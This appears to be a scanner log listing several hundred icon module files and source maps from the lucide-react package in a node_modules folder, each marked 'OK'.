+/scan/node_modules/lucide-react/dist/esm/icons/equal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-square-dot.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-to-dot.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cloud-lightning.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clipboard-pen-line.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-slash.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-heart.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cross.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ice-cream-bowl.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wallpaper.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-right-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/microscope.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/battery-medium.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/box.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wifi.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bug.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clock-7.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rotate-cw-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-square-dashed.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ticket.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-minus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/beer-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-percent.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-square-quote.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/monitor.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-circle-question.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pilcrow-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pound-sterling.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/notebook-text.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/linkedin.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/merge.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bell.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/music-4.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/monitor-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/flag.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calendar-clock.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-input.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/badge-x.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/server.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/warehouse.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-stack.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tally-1.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/package-open.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rows-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/share.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pointer-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-up-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-axis-3d.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sigma-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/codepen.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/candy-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/dice-4.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cake.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/send-horizontal.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-output.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-cog.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ampersands.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pound-sterling.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-big-left.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/gantt-chart.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mountain.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cannabis.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-vertical-distribute-center.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bookmark-x.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-stack.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-lock-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-search.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-key.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/alarm-clock-check.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/baggage-claim.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/check-circle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevron-left-circle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tablet.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/locate.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ratio.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-user.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/heading-6.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pencil-line.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/files.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/school.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-bottom-close.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/slash.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-equal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bluetooth-searching.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/beer.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/alarm-clock-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/donut.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sprout.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-terminal.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-left.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/salad.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wrap-text.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bell-ring.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/gantt-chart-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/spell-check-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/underline.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wifi-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scan-eye.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/binary.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/notepad-text-dashed.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-round-check.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/unplug.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sigma.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-digit.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-za.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-output.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-dashed-mouse-pointer.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/university.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-big-up-dash.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ticket.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hop-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/school-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pi-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/package-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/gauge.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/equal-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/table.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/lamp-wall-down.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/flag-triangle-right.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ambulance.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/crosshair.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-circle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/blend.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hammer.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/syringe.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-check.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/swords.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-down.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calendar-days.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-check-big.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-bottom-dashed.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/test-tube-diagonal.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/archive.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-right-from-circle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-pen.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/japanese-yen.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calendar-check.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/stretch-horizontal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/contact-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/list-todo.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/worm.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tower-control.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/lamp-wall-up.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pizza.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-arrow-up-left.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-square-heart.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/table-columns-split.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-to-line.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-bottom.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cast.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/disc-album.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/stethoscope.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/grid.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-key-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-circle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/plug.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/crop.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-round-minus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/log-in.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-big-up.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-user.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/utensils.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-parking-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevron-right-circle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ham.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-circle-reply.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/library-big.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/function-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-divide.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/orbit.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/percent-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wine-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/frame.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/list-todo.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pencil.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ambulance.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/forward.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-dot.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/import.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-square-code.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-signature.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-arrow-out-up-right.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/step-forward.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/crown.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-bar-chart-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/airplay.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/code-xml.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sparkles.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/moon.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/popsicle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wand-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/parking-circle-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/telescope.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wheat.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/git-commit.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pentagon.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scan-eye.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/framer.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rotate-ccw.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tags.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-right.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sailboat.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/webhook.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/move-up-left.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/radio.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ellipsis-vertical.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scan-face.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/notebook.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/coins.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/moon-star.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/layout-dashboard.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/diamond-minus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tent-tree.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clock-11.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-x.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/lollipop.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/meh.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tally-5.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/link-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-percent.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/git-commit-horizontal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bean.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rows-4.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/phone-forwarded.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calendar-minus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cloud-rain.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/creative-commons.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/keyboard-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-kanban.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/piggy-bank.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bitcoin.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/phone.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scissors-line-dashed.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/parentheses.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-circle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/candy-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sidebar.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scaling.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/grid.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shrub.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/check-square-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/slash-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/squirrel.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/weight.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wine.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/handshake.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-bottom-dashed-scissors.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/equal-not.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/store.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/monitor-speaker.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/layers-3.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-dollar-sign.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/package-search.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/code-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevron-right-circle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/save.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ticket-plus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mail-warning.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/heart.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-user.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/split.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/text-select.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/school-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/zoom-out.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/link.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/divide-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-lock.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-square-reply.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/plus-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-image.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/test-tube.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-start-vertical.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/landmark.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/git-branch.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/parking-meter.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/earth-lock.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/audio-lines.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/audio-waveform.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/code-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/candy-cane.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/backpack.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-x.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/package-x.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-z-a.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/alarm-clock-plus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/heading-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bell-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hexagon.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/coffee.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-up.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/plus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/carrot.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/laptop-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/replace-all.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/test-tubes.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-gantt-chart.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/badge-indian-rupee.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/test-tube.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/package.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-right-circle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevron-up-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/beer-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/log-in.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/magnet.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/fast-forward.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rewind.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-code-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sparkles.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-arrow-up-left.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/magnet.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevrons-down-up.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pilcrow.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mail-search.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bomb.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pin.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scale-3-d.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-open.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ice-cream-bowl.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clock-4.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/check-circle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-circle-x.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/percent.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/dot-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/gallery-thumbnails.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-open-text.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/grip.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mail.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/radio-tower.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/train-front-tunnel.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/table-rows-split.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/list.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/drumstick.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clover.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-check-big.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-cog-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shield-question.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-dot.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-arrow-out-down-left.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-right-from-line.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-a-z.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calendar-x-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/lock-open.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tally-5.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-check.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/spell-check.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/film.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/trending-down.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pause-circle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-to-line.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/delete.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/menu-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/flashlight.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/copyright.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clipboard-copy.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/car.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/save-all.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-top-open.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/banknote.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sun-medium.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/gift.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cast.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/upload.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-sync.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/flame.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/move-diagonal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shield-ellipsis.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/roller-coaster.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/grip-horizontal.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/heater.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/layers.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rectangle-vertical.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-search-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/palmtree.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-end-vertical.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/brick-wall.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clipboard-edit.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/palette.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/star.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/link-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/kanban-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-left.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-pen.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sort-asc.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/redo-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/globe-lock.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calendar-heart.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/dumbbell.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-video-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/torus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/option.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/git-pull-request-create-arrow.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-minus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/move-up.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/download.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/car-front.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/anchor.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/croissant.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/iteration-cw.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ice-cream.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sun-moon.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ticket-percent.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/heart-pulse.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/move-horizontal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/move-diagonal.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mail-plus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cloud-sun.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/webhook.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-type.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tally-4.js: OK
